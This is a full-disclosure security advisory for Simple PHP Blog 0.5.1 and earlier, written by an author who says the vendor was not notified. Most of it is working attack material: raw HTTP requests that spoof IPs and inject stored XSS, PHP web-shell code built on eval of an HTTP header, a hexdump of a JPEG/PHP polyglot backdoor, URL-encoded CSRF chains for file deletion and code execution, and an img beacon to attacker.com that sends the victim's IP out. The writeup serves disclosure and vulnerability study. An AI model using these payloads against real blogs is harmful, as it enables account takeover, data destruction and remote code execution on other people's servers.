sphpblog051-multi.txt

` Title: Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities  
Vendor: http://sourceforge.net/projects/sphpblog/  
  
Advisory: http://acid-root.new.fr/?0:15  
Author: DarkFig < gmdarkfig (at) gmail (dot) com >  
  
Released on: 2007/10/21  
Changelog: ----------  
L M H T  
Summary: Ip Spoofing [X] [_] [_] [X]  
Cross Site Scripting [X] [_] [_] [X]  
Session Fixation [X] [_] [_] [X]  
mail() CRLF Injection [X] [_] [_] [_]  
Local File Inclusion (+CSRF) [_] [X] [_] [X]  
File Deletion (+CSRF) [_] [X] [_] [X]  
File Upload Vulnerability [_] [_] [X] [X]  
Code Execution (+CSRF) [_] [_] [X] [X]  
  
Legend: L - Low risk M - Medium risk  
H - High risk T - Tested  
  
Risk level: Medium / High  
CVE: ----------  
  
  
  
I - IP SPOOFING  
  
The file "scripts/sb_communicate.php" contains the following  
code:   
  
19| function getIP() {  
20| if ( !empty ( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) {  
21| $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];  
22| }  
23| else if ( !empty ( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {  
24| $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];  
25| }  
26| else if ( !empty ( $_SERVER[ 'REMOTE_ADDR' ] ) ) {  
27| $ip = $_SERVER[ 'REMOTE_ADDR' ];  
28| }  
29| else if ( getenv( "HTTP_CLIENT_IP" ) ) {  
30| $ip = getenv( "HTTP_CLIENT_IP" );  
31| }  
32| else if ( getenv( "HTTP_X_FORWARDED_FOR" ) ) {  
33| $ip = getenv( "HTTP_X_FORWARDED_FOR" );  
34| }  
35| else if ( getenv( "REMOTE_ADDR") ) {  
36| $ip = getenv( "REMOTE_ADDR" );  
37| }  
38| else {   
39| $ip = "UNKNOWN";  
40| }  
41| return( $ip );  
42| }  
  
So, an attacker can spoof his IP, he just have to create  
an HTTP packet, add a special header, and send it. The  
HTTP packet will look's like this:  
  
GET /index.php HTTP/1.1\r\n  
Host: localhost\r\n  
X-Forwarded-For: 127.0.0.1\r\n  
Connection: keep-alive\r\n\r\n  
  
Later, we'll see how to gain the administrator's session  
id. Even if we got the good session id, there is a  
protection that "normally" don't permit to be logged in.  
Let's see a part of the file "scripts/sb_login.php":  
  
28| // Check if user is logged in.  
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&  
| $_SESSION[ 'logged_in' ] == 'yes' ) {  
|  
30| if ( $_SESSION[ 'site_path' ] ===  
| dirname($_SERVER[ 'PHP_SELF' ]) ) {  
|  
31| if ( $_SESSION[ 'ip' ] === getIP() ) {  
32| // User is logged in.  
33| return ( true );  
34| }  
35| }  
36| }  
  
Thanks to the getIP() function, if we know the  
administrator's IP (later we'll see how to get it easily),  
we can bypass the third condition.  
  
  
  
II - CROSS SITE SCRIPTING  
  
When a guest add a comment, an HTTP packet is sent to  
"comment_add_cgi.php". Before writing the comment into  
a file, there is some conditions, the first condition is  
that the IP sent with the POST method, must be the same  
as the IP returned by the getIP() function. Let's see  
the code:  
  
88| if ($ok) {  
89| // Verify that posted IP and actual IP matches.  
90| if ( getIP() === $_POST['user_ip'] ) {  
91| $ipMatches = true;  
92| } else {  
93| $ipMatches = false;  
94| $ok = false;  
95| $error_message = $lang_string[ 'error_no_match' ];  
96| }  
97| }  
  
This is useless, I don't know what the author wanted to  
do but this can be bypassed easily. After some conditions,  
the write_comment() function is called:  
  
219| $result = write_comment( $_POST[ 'y' ], $_POST[ 'm' ],  
| $_POST[ 'entry' ],  
220| $comment_name,  
221| $comment_email,  
222| $comment_url,  
223| $comment_text,  
224| $_POST[ 'user_ip' ],  
225| $moderationFlag,  
226| time() );  
  
This function is situated in "scripts/sb_comments.php".  
Let's see the data which will be stored in a file:  
  
519| // Save the file  
520| $save_data = array();  
521| $save_data[ 'VERSION' ] = $sb_info[ 'version' ];  
522| $save_data[ 'NAME' ] = clean_post_text( $comment_name );  
523| $save_data[ 'DATE' ] = $comment_date;  
524| $save_data[ 'CONTENT' ] = sb_parse_url( clean_post_text( $comment_text ) );  
|  
525| if ( $comment_email != '' ) {  
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );  
527| }  
|  
528| if ( $comment_url != '' ) {  
529| $save_data[ 'URL' ] = clean_post_text( $comment_url );  
530| }  
|  
531| $save_data[ 'IP-ADDRESS' ] = $user_ip; // New 0.4.8  
532| $save_data[ 'MODERATIONFLAG' ] = $hold_flag;  
533|   
534| // Implode the array  
535| $str = implode_with_keys( $save_data );  
536|   
537| // Save the file  
538| $result = sb_write_file( $entryFile, $str );   
  
The clean_post_text() function protect against XSS, it  
also replace a string separator (by its html equivalent)  
which is used when comment's data are extracted.  
This function is in the file "scripts/sb_formatting.php":  
  
13| function clean_post_text( $str ) {  
14| // Cleans post text input.  
15| //  
16| // Strip out and replace pipes with colons. HTML-ize entities.  
17| // Use charset from the language file to make sure we're only  
18| // encoding stuff that needs to be encoded.  
19| //  
20| // This makes entries safe for saving to a file (since the data  
21| // format is pipe delimited.)  
22| global $lang_string;  
23| $str = str_replace( '|', '|', $str );  
24| $str = @htmlspecialchars( $str, ENT_QUOTES, $lang_string[ 'php_charset' ] );  
25|   
26| return ( $str );  
27| }  
  
The clean_post_text() function isn't applied to the  
IP address which will be stored in the file. So this  
can be exploited to conduct XSS attack. The attacker  
will send an HTTP packet like this one:  
  
POST /comment_add_cgi.php HTTP/1.1\r\n  
Host: localhost\r\n  
Client-IP: <script>alert(666)</script>\r\n  
Connection: keep-alive\r\n  
Content-Type: application/x-www-form-urlencoded\r\n  
Content-Length: 229\r\n\r\n  
y=07&m=07&entry=entry070727-161718&comment_name=HereMyName  
&comment_email=&comment_url=&user_ip=<script>alert(666)</script>  
&style_dropdown=--&comment_text=This+is+an+example+comment.  
&comment_capcha=571560&submit=%A0Post+Comment%A0\r\n\r\n  
  
The sender IP address can be only seen by a registered  
user. So the code sent by the attacker will be executed  
when a registered user will see the comments page.  
  
  
  
III - SESSION FIXATION  
  
In a session fixation attack, the attacker have to set  
the victim's session id. In our case, the attacker fix  
the user's session id, the victim which is logged in,  
will get logged out when the cookie will be set, then  
if the victim try to log in, the session id will be  
registered on the server. Let's see a part of the  
logged_in() function:  
  
11| function logged_in ( $redirect_to_login, $redirect_to_setup ) {  
12|   
13| // Turn off URL SIDs.  
14| ini_set('url_rewriter.tags','');  
15| ini_set('session.use_trans_sid', false);  
16|   
17| // Init the session.  
18| session_set_cookie_params(60*60*24*5);  
19|   
20| // Check if the user has a client-side cookie.  
21| if ( isset( $_COOKIE[ 'sid' ] ) ) {  
22| session_id($_COOKIE[ 'sid' ]);  
23| }  
24|   
25| // Start the session.  
26| session_start ();  
27|   
28| // Check if user is logged in.  
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&  
| $_SESSION[ 'logged_in' ] == 'yes' ) {  
|  
30| if ( $_SESSION[ 'site_path' ] ===  
| dirname($_SERVER[ 'PHP_SELF' ]) ) {  
|  
31| if ( $_SESSION[ 'ip' ] === getIP() ) {  
32| // User is logged in.  
33| return ( true );  
34| }  
35| }  
36| }  
  
After, the attacker, who knows the session id, just  
have to use it to be logged in as the victim's account.  
But in our case, he must also know the victim's IP.  
I'll demonstrate how to get administrator rights even  
if the victim has a protection against XSS (NoScript  
Firefox plugin for example). First, the attacker will  
fix the victim's session id by setting a cookie to  
the victim. Then he'll also force the victim's web  
browser to establish a connexion to a script that  
will get the victim's IP. Take a look at this schema:  
  
+----------------------------------------------------------+  
| The attacker post a comment using the XSS vulnerability. |  
| The code which will be executed on the client browser |  
| will set the "sid" cookie, it will also force the |  
| victim's web browser to send an HTTP packet to a script |  
| that will mail the victim's IP to the attacker. |  
+----------------------------------------------------------+  
|  
| +---------------------------------------------------+  
+--> | <meta http-equiv=Set-Cookie content=sid=MD5HERE;> |  
| <img src=http://attacker.com/getip_and_mail.php> |  
+---------------------------------------------------+  
|  
+-------------------------------------------------+ |  
| The victim, which is logged in, have to see the | <--+  
| comments page. After saw it, the victim will be |   
| logged out. |  
+-------------------------------------------------+  
|  
| +------------------------------------------+  
+--> | The victim try to log in. Now that she's |  
| logged in, the session id set by the |  
| attacker is registered on the server. |  
+------------------------------------------+  
|  
+--------------------------------------------+ |  
| Now the attacker just have to send an HTTP |<--+  
| packet which contains the session id and a |  
| special header with the victim's IP. |  
| The attacker is logged in as the victim's |  
| account. |  
+--------------------------------------------+  
  
As you can see, even if the victim is protected against  
XSS, it's always possible to get adminitrator rights with  
this type of attack, we juste use the "meta" and "img" tags.  
  
  
  
IV - MAIL() CRLF INJECTION  
  
User's variables are not checked before be used in the mail()  
function. The file "comment_add_cgi.php" call the  
write_comment() function with the following parameters:  
  
214| $comment_name = sb_stripslashes($_POST['comment_name']);  
215| $comment_email = sb_stripslashes($_POST['comment_email']);  
216| $comment_url = sb_stripslashes($_POST['comment_url']);  
217| $comment_text = sb_stripslashes($_POST['comment_text']);  
218|   
219| $result = write_comment($_POST[ 'y' ],$_POST[ 'm' ],  
| $_POST['entry' ],  
220| $comment_name,  
221| $comment_email,  
222| $comment_url,  
223| $comment_text,  
224| $_POST[ 'user_ip' ],  
225| $moderationFlag,  
226| time() );  
  
Then the function clean_post_text() is applied to $comment_email.  
But this function doesn't protect against CRLF Injection, this  
will not replace the \r and \n chars. Take a look at the file  
"sb_comments.php":  
  
471| function write_comment($y,$m,$entry,$comment_name,$comment_email  
|  
525| if ( $comment_email != '' ) {  
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );  
527| }  
|  
584| // Send the Email  
585| if ( array_key_exists( 'EMAIL', $save_data ) ) {  
586| sb_mail( $save_data[ 'EMAIL' ], $blog_config[ 'blog_email' ],  
| $subject, $body, false );  
587| }   
  
The goal of the sb_mail() function is to send mass emails.  
As you can see belows, there is no protection against  
$save_data[ 'EMAIL' ].  
  
45| function sb_mail ($from, $to, $subject, $body, $text=true, $priority=3) {  
|  
69| $headers .= 'From: ' . $from . " \r\n";  
70| $headers .= 'Reply-To: ' . $from . " \r\n";  
71| $headers .= 'Return-Path: ' . $from . " \r\n";  
|  
76| ini_set('sendmail_from', $from);  
77| for ( $j=0; $j < count($to_array); $j++ ) {  
78| $result = mail( $to_array[$j], sb_stripslashes($subject),  
| sb_stripslashes($body), $headers );  
79| }  
80| ini_restore('sendmail_from');  
  
So an attacker can perform a CRLF injection attack into the mail()  
function, it will probably be used by spammers.  
  
  
  
V - LOCAL FILE INCLUSION (+CSRF)  
  
There is an LFI vulnerability (admin rights needed)  
in the file "languages_cgi.php":  
  
76| if ( array_key_exists( 'store_data', $_GET ) ) {  
77|   
78| // Store all the data from language 2  
79| require_once('languages/' . $_GET[ 'lang2' ] . '/strings.php');  
  
This will require magic_quotes_gpc=Off. Because they use the  
GET method, there's a CSRF vulnerability too. For each new  
comments, a new text file is created. The structure of the file  
like this:  
  
VERSION|0.4.8  
|NAME|<my_name>  
|DATE|1188078694  
|CONTENT|<my_comment>  
|EMAIL|<my_email>  
|IP-ADDRESS|<my_ip_or_xss>  
|MODERATIONFLAG|H  
  
Now imagine that an attacker use the XSS vulnerability to post  
php code and html tags which will make the admin sent an HTTP  
request to exploit the LFI vuln. The XSS code will look's like  
this:  
  
<!--- <?php  
$handle = fopen('./themes/back.php', 'w+');  
fwrite($handle, '<?php @eval($_SERVER[HTTP_SHELL]); ?>');  
fclose($handle);  
mail('[email protected]', 'hey', 'code executed');  
exit();  
/* --->  
<img src=http://<site>/languages_cgi.php?store_data=1&lang2=  
../content/07/07/entry070727-161718/comments/comment070825-235134.txt%00>  
<!--- */  
?> --->  
  
In order to exploit this, the attacker must know where the new  
file will be created. Let's see the code:  
  
471| function write_comment ( $y, $m, $entry, $comment_name,  
| $comment_email, $comment_url, $comment_text, $user_ip,  
| $hold_flag='', $comment_date=null ) {  
|   
478| $basedir = 'content/';  
479| $dir = $basedir.$y.'/'.$m.'/'.$entry;  
|   
494| $dir .= '/comments';  
|   
506| $dir .= '/';  
|  
512| $stamp = date('ymd-His');  
513| if ( $blog_config[ 'blog_enable_gzip_txt' ] ) {  
514| $entryFile = $dir.'comment'.$stamp.'.txt.gz';  
515| } else {  
516| $entryFile = $dir.'comment'.$stamp.'.txt';  
517| }  
  
The variables $y, $m and $entry are sent with the HTTP request.  
The filename is decided with the date() function. There is many  
ways for know the content returned by $stamp:  
- Ask the server by sending an HTTP request (the "Date" header).  
- Bruteforce the path (Add several html tags).  
- Divide our attack in two parts (filenames are displayed in the html source).  
  
The attacker must also urlencode the content of his XSS, the  
HTTP packet will finally look's like this:  
  
POST /comment_add_cgi.php HTTP/1.1  
Host: localhost  
Connection: keep-alive  
Cookie: PHPSESSID=<SID>  
Client-IP: <HTML_AND_PHP_CONTENT>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: <LEN>  
y=<Y>&m=<M>&entry=<ENTRY>&comment_name=Hacker  
&comment_email=my%40you.com&comment_url=&user_ip=  
<HTML_AND_PHP_CONTENT_URLENCODED>  
&style_dropdown=--&comment_text=Hello&comment_capcha  
=128619&submit=%A0Post+Comment%A0  
  
Now the attacker have to wait until the admin see his comment.  
  
  
  
VI - FILE DELETION (+CSRF)  
  
There is a CSRF vulnerability which can lead to file  
deletion. Let's see the code of "trackback_delete_cgi.php":  
  
22| if ( array_key_exists( 'trackback', $_GET ) ) {  
23| $ok = delete_trackback( $_GET[ 'trackback' ] );   
24| }  
  
So if the variable "trackback" is set with the GET method,   
the delete_trackback() function is called. The code of   
this function is situated in "sb_trackback.php":  
  
229| function delete_trackback ( $entryFile ) {  
230| // Delete the old file  
231| if ( file_exists( $entryFile ) ) {  
232| $ok = sb_delete_file( $entryFile );  
233| }  
  
If the file exists, the function sb_delete_file() is called,  
with the parameter $_GET['trackback']. The source code   
of this function is situated in the file "sb_fileio.php":  
  
171| function sb_delete_file ( $filename ) {  
|  
175| clearstatcache();  
176| if ( file_exists( $filename ) ) {  
177| $result = @unlink( $filename );  
178| }  
  
There is no verification before deleting the file. So we  
can delete any files on the server. The HTTP packet sent  
by the attacker will look's like this:  
  
GET /trackback_delete_cgi.php?trackback=<FILE> HTTP/1.1\r\n  
Host: localhost\r\n  
Connection: keep-alive\r\n\r\n  
  
Admin right's are needed to delete files, but because  
it's also a CRLF vulnerability, we can use it in our XSS,  
then so admin right's aren't needed for the attacker.  
  
  
  
VII - FILE UPLOAD VULNERABILITY  
  
When we're admin, we can upload emoticons.  
Let'see the content of the function upload_emoticons()  
which is situated in the file "emoticons.php":  
  
36| function upload_emoticons() {  
37| // Emoticon upload form results  
38| $path = 'images/emoticons';  
39| $uploaddir = $path;  
40|   
41| $ok = false;  
42| if ( $_FILES[ 'user_emot' ][ 'error' ] == 0 ) {  
43| if (!file_exists($uploaddir)) {  
44| $oldumask = umask(0);  
45| @mkdir($uploaddir, 0777 );  
46| @umask($oldumask);  
47| }  
48|   
49| $uploaddir .= '/';  
50| $uploadfile = $uploaddir.  
| preg_replace("/ /","_",$_FILES[ 'user_emot' ][ 'name' ]);  
51|   
52| if (@is_uploaded_file($_FILES['user_emot']['tmp_name'])) {  
|  
53| if (@getimagesize($_FILES['user_emot']['tmp_name']) == FALSE){  
54| $ok = -1;  
|  
55| } else {  
|  
56| if (@move_uploaded_file($_FILES['user_emot']['tmp_name'], $uploadfile)){  
57| chmod( $uploadfile, 0777 );  
58| $ok = true;  
59| }  
  
As you can see, there is only one protection against file  
upload vulnerability. The function getimagesize() will  
return FALSE if the upload file isn't a valid image file.  
But we can bypass this easily. Take a look at this:  
  
C:\>edjpgcom img1x1.jpg  
  
C:\>hexdump img1x1.jpg  
  
ff d8 ff e0 00 10 4a 46 - 49 46 00 01 01 01 00 60 ......JF IF......  
00 60 00 00 ff db 00 43 - 00 08 06 06 07 06 05 08 .......C ........  
07 07 07 09 09 08 0a 0c - 14 0d 0c 0b 0b 0c 19 12 ........ ........  
13 0f 14 1d 1a 1f 1e 1d - 1a 1c 1c 20 24 2e 27 20 ........ ........  
22 2c 23 1c 1c 28 37 29 - 2c 30 31 34 34 34 1f 27 ......7. .01444..  
39 3d 38 32 3c 2e 33 34 - 32 ff db 00 43 01 09 09 9.82..34 2...C...  
09 0c 0b 0c 18 0d 0d 18 - 32 21 1c 21 32 32 32 32 ........ 2...2222  
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32 22222222 22222222  
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32 22222222 22222222  
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 ff fe 22222222 222222..  
00 26 3c 3f 70 68 70 20 - 65 76 61 6c 28 24 5f 53 ....php. eval...S  
45 52 56 45 52 5b 48 54 - 54 50 5f 53 48 45 4c 4c ERVER.HT TP.SHELL  
5d 29 3b 20 3f 3e ff c0 - 00 11 08 00 01 00 01 03 ........ ........  
01 22 00 02 11 01 03 11 - 01 ff c4 00 1f 00 00 01 ........ ........  
05 01 01 01 01 01 01 00 - 00 00 00 00 00 00 00 01 ........ ........  
02 03 04 05 06 07 08 09 - 0a 0b ff c4 00 b5 10 00 ........ ........  
02 01 03 03 02 04 03 05 - 05 04 04 00 00 01 7d 01 ........ ........  
02 03 00 04 11 05 12 21 - 31 41 06 13 51 61 07 22 ........ 1A..Qa..  
71 14 32 81 91 a1 08 23 - 42 b1 c1 15 52 d1 f0 24 q.2..... B...R...  
33 62 72 82 09 0a 16 17 - 18 19 1a 25 26 27 28 29 3br..... ........  
2a 34 35 36 37 38 39 3a - 43 44 45 46 47 48 49 4a .456789. CDEFGHIJ  
53 54 55 56 57 58 59 5a - 63 64 65 66 67 68 69 6a STUVWXYZ cdefghij  
73 74 75 76 77 78 79 7a - 83 84 85 86 87 88 89 8a stuvwxyz ........  
92 93 94 95 96 97 98 99 - 9a a2 a3 a4 a5 a6 a7 a8 ........ ........  
a9 aa b2 b3 b4 b5 b6 b7 - b8 b9 ba c2 c3 c4 c5 c6 ........ ........  
c7 c8 c9 ca d2 d3 d4 d5 - d6 d7 d8 d9 da e1 e2 e3 ........ ........  
e4 e5 e6 e7 e8 e9 ea f1 - f2 f3 f4 f5 f6 f7 f8 f9 ........ ........  
fa ff c4 00 1f 01 00 03 - 01 01 01 01 01 01 01 01 ........ ........  
01 00 00 00 00 00 00 01 - 02 03 04 05 06 07 08 09 ........ ........  
0a 0b ff c4 00 b5 11 00 - 02 01 02 04 04 03 04 07 ........ ........  
05 04 04 00 01 02 77 00 - 01 02 03 11 04 05 21 31 ......w. .......1  
06 12 41 51 07 61 71 13 - 22 32 81 08 14 42 91 a1 ..AQ.aq. .2...B..  
b1 c1 09 23 33 52 f0 15 - 62 72 d1 0a 16 24 34 e1 ....3R.. br....4.  
25 f1 17 18 19 1a 26 27 - 28 29 2a 35 36 37 38 39 ........ ...56789  
3a 43 44 45 46 47 48 49 - 4a 53 54 55 56 57 58 59 .CDEFGHI JSTUVWXY  
5a 63 64 65 66 67 68 69 - 6a 73 74 75 76 77 78 79 Zcdefghi jstuvwxy  
7a 82 83 84 85 86 87 88 - 89 8a 92 93 94 95 96 97 z....... ........  
98 99 9a a2 a3 a4 a5 a6 - a7 a8 a9 aa b2 b3 b4 b5 ........ ........  
b6 b7 b8 b9 ba c2 c3 c4 - c5 c6 c7 c8 c9 ca d2 d3 ........ ........  
d4 d5 d6 d7 d8 d9 da e2 - e3 e4 e5 e6 e7 e8 e9 ea ........ ........  
f2 f3 f4 f5 f6 f7 f8 f9 - fa ff da 00 0c 03 01 00 ........ ........  
02 11 03 11 00 3f 00 f7 - fa 28 a2 80 3f ff d9 d9 ........ ........  
  
C:\>ren img1x1.jpg backdoor.php  
  
The created file is a valid jpg image, so the check made  
by the function getimagesize() will be bypassed. And so  
the backdoor will be uploaded in "images/emoticons".  
  
  
  
VIII - CODE EXECUTION (+CSRF)  
  
There is a CSRF vulnerability which can lead to execute  
PHP code, this is the critical point of this script.  
Let's see the code of the file "manage_users.php":  
  
61| if ( $_GET[ 'action' ] == "update" ) {  
|  
63| if ($_SESSION[ 'fulladmin' ] != 'yes' ) {  
64| echo($lang_string['fulladminerror']);  
65| } else {  
66|   
67| // First read and remove the offending line  
68| $pfile = fopen("config/users.php","a+");  
69| rewind($pfile);  
|  
70| while (!feof($pfile)) {  
71| $line = fgets($pfile);  
72| $tmp = explode('|', $line);  
73|   
74| if ( $_GET[ 'type' ] == "edit" ) {  
75| if ( $tmp[1] != $_GET[ 'user' ] )  
| { $newfile = $newfile . $line; }  
76| } else {  
77| $newfile = $newfile . $line;  
78| }  
79| }  
80| fclose($pfile);  
|  
101| $blankfield = "";  
102|   
103| // Create the record structure  
104| if ( $_GET[ 'type' ] == "edit" ) {  
|  
107| $password = $_GET[ 'oldpasshash' ];  
108| if ( $password != $_POST[ 'sPassword' ] ) {  
109| $password = crypt($_GET[ 'user' ],$_POST[ 'sPassword' ] );  
110| }  
111|   
112| $array =  
| array($_POST[ 'sFullname' ], $_GET[ 'user' ], $password,  
| $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],  
| $modcomments, $deleteentries, $editany, $blankfield);  
|  
113| } else {  
|  
114| $array =  
| array($_POST[ 'sFullname' ], $_POST[ 'sUsername' ],  
| crypt( $_POST[ 'sUsername' ], $_POST[ 'sPassword' ] ),  
| $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],  
| $modcomments, $deleteentries, $editany, $blankfield);  
115| }  
|  
116| $str = implode('|', $array);  
117| $newfile = $newfile . $str . "n";  
|  
120| $pfile = fopen("config/users.php","w");  
121| fwrite($pfile, $newfile);  
122| fclose($pfile);  
123|   
124| redirect_to_url("manage_users.php");  
125| }  
126| }  
  
As you can see there is no protection against PHP chars   
(like strip_tags()) before inserting user's data into  
the php file. But the author of the script add a ".htaccess"  
file in the "config" directory. Let's see the content of  
this file:   
  
1| IndexIgnore *  
2|   
3| <Files .htaccess>  
4| order allow,deny  
5| deny from all  
6| </Files>  
7|   
8| <Files *.txt>  
9| order allow,deny  
10| deny from all  
11| </Files>  
  
So we can't list the content of the directory, and we  
don't have access to .htaccess/.txt files. But we can  
access to .php files ! This require admin rights...  
but we can write PHP code with the GET method, that's  
why there's also a CSRF vulnerability. In our example  
we will take this php code (as you can see we don't  
need magic_quote_gpc=Off):  
  
1| <?php  
2|   
3| if(isset($_GET[mail]))  
4| {  
5| $mail = <<<MAIL  
6| [email protected]  
7| MAIL;  
8|   
9| $subject = <<<SUBJ  
10| Hey !  
11| SUBJ;  
12|   
13| $body = <<<BODY  
14| Code executed  
15| BODY;  
16|   
17| mail($mail,$subject,$body);  
18| }  
19| else eval($_SERVER[HTTP_SHELL]);  
20|   
21| ?>  
  
So the attacker just have to post (using the XSS)  
something like this:  
  
<img src=http://<site>/manage_users.php?action=update  
&type=edit&user=%3C%3Fphp%0D%0A%0D%0Aif%28isset%28%24  
_GET%5Bmail%5D%29%29%0D%0A%7B%0D%0A%24mail+%3D+%3C%3C  
%3CMAIL%0D%0Ahacker%40you.com%0D%0AMAIL%3B%0D%0A%0D%0  
A%24subject+%3D+%3C%3C%3CSUBJ%0D%0AHey+%21%0D%0ASUBJ%  
3B%0D%0A%0D%0A%24body+%3D+%3C%3C%3CBODY%0D%0ACode+exe  
cuted%0D%0ABODY%3B%0D%0A%0D%0Amail%28%24mail%2C%24sub  
ject%2C%24body%29%3B%0D%0A%7D%0D%0Aelse+eval%28%24_SE  
RVER%5BHTTP_SHELL%5D%29%3B%0D%0A%0D%0A%3F%3E>  
<!--- Write php code --->  
  
<img src=http://<site>/config/users.php?mail=1>  
<!--- mail the attacker --->  
  
<img src=http://<site>/trackback_delete_cgi.php?track  
back=MY_COMMENT_FILENAME>  
<!--- delete the comment --->  
  
After, he have to wait until the admin see his comment.  
Then the HTTP request will be sent to the script, and  
so the PHP code will be written into "config/users.php".  
  
  
  
IX - END  
  
As you can see there's some pretty cool things here:  
  
- [III] We bypass Noscript firefox plugin protection.  
We don't use any <script> tags.  
  
- [V] We use a "self inclusion" technique.  
We use html and php commentary tags which are very  
useful in our case.  
  
I didn't contacted the author of the script, but if  
he keeps himself informed of updates concerning his  
script, he should correct these vulnerabilities as  
quickly as possible.  
  
  
//Greetz: ddx39, berga, wo, overlock[]  
  
  
`